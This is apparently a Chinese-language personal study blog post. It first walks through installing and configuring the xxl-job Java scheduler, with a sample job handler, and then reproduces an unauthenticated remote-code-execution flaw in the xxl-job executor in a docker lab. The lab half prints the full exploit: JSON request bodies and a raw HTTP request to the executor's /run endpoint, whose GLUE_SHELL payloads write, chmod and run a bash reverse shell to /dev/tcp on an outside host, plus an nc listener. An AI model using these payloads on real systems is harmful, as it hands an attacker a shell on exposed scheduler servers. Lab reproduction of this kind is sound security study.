xxl-job

安装使用

在使用之前,需要把maven配置好,可以看我上一篇关于配置maven的文章,配置完成后可以看这篇教程

使用教程:https://blog.csdn.net/f2315895270/article/details/104714692

我也会跟着操作一遍

编译项目

mvn compile

image-20240807091924833

创建数据库

直接用doc下的sql文件即可

image-20240807092056442

打开xxl-job-admin模块,在application.properties中进行后台的配置

image-20240807092320507

image-20240807092522122

注意在数据库地址哪里加上时区属性,否则乱码

image-20240807092619516

启动项目

然后我们启动XxlJobAdminApplication类,访问http://localhost:8080/xxl-job-admin 默认账户admn,密码123456

image-20240807092934369

image-20240807092918239

成功启动了

image-20240807093014559

参考文章中说定位到springboot模块下的jobhandler层下面,但我下载的更新后的项目,里面已经不再是jobhandler,可以看项目给的SampleXxlJob改,但代码能力不行,我还是找新教程把

image-20240807111826397

换成了这个,我后续跟的是另一个教程java定时任务框架xxl-job(使用、总结),按照他的测试代码试了试,还发现,可以用docker拉这个项目,但我觉得可能就不是很好修改了,这里我们就不用他的执行器了,用默认的

package com.xxl.job.executor.service.jobhandler;

import cn.hutool.core.util.RandomUtil;
import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.annotation.XxlJob;
import org.springframework.stereotype.Component;

import java.time.LocalDateTime;
import java.util.Arrays;
import java.util.List;

/**
* 任务处理器
*/
@Component
public class JobHandler {

//定义一组任务
private List<Integer> dataList = Arrays.asList(1, 2, 3, 4, 5, 6, 7, 8, 9, 10);

/**
* 普通任务
*/
@XxlJob("firstJob")
public void firstJob() throws Exception {
System.out.println("firstJob执行了.... " + LocalDateTime.now());
for (Integer data : dataList) {
XxlJobHelper.log("data= {}", data); //写日志到xxl-job中
//每次执行任务后,随机暂停一段时间
Thread.sleep(RandomUtil.randomInt(100, 500));
}
System.out.println("firstJob执行结束了.... " + LocalDateTime.now());
}

}

遇到问题

测试的时候会少一个依赖,hutool的,本地仓库是有,我们给他加进去就行了

<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.7.7</version>
</dependency>

然后更新一下环境就行了,但当时也不知道哪一个成的

mvn clean insall

然后还点了一下maven重载,回归正题,在任务管理里面新增任务

image-20240807112854359

编写完成后,重启服务,在任务管理中创建任务:

image-20240807120240234

这个新增参数和之前好像也有变化,稍微调了调,让他看起来和攻略里差不多,然后记得启动执行器XxlJobExecutorApplication

image-20240807124553451

也是成功执行了,后续的cron控制定时任务等其它操作,可以继续看这个*攻略*

漏洞测试

在docker里也有一个unacc的漏洞,我们先测试这个

uacc

  1. 环境搭建
docker-compose up -d
  1. 查看服务是否启动
nmap 192.168.174.137

image-20240807223359701

可以看到8080是admin服务,9999是exector端,我们访问9999端口

image-20240807223434680

看到这个就是服务启动成功了

  1. poc测试

访问http://localhost:9999/run抓包

image-20240807224749550

修改请求方式为POST ,并写入exp,然后发送请求

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "echo 'bash -i >& /dev/tcp/192.168.174.160/9999 0>&1' > /tmp/1.sh",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

image-20240807230548050

这样子是先创建了一个shell脚本,等会我们执行它即可,现在在本机开启监听

nc -lvvp 9999

然后再发一个赋予权限和一个执行shell脚本的exp

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "chmod +x /tmp/1.sh",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

image-20240807230819254

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "/bin/bash /tmp/1.sh",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

image-20240807230912173

不懂怎么不行,文件倒是创建了,在容器里测试了下,可以返回,但发包就不行

image-20240807231627257

创建个2.sh,给他弹到靶机去试试

echo 'bash -i >& /dev/tcp/192.168.174.137/8888 0>&1' > /tmp/2.sh

不懂怎么回事,在里面弹就行,外面最多到赋予权限,试了下删除点东西,原来是包的东西太多了

POST /run HTTP/1.1
Host: 192.168.174.137:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 366

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "/bin/bash /tmp/1.sh",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

删掉一些东西就行了

image-20240808135237270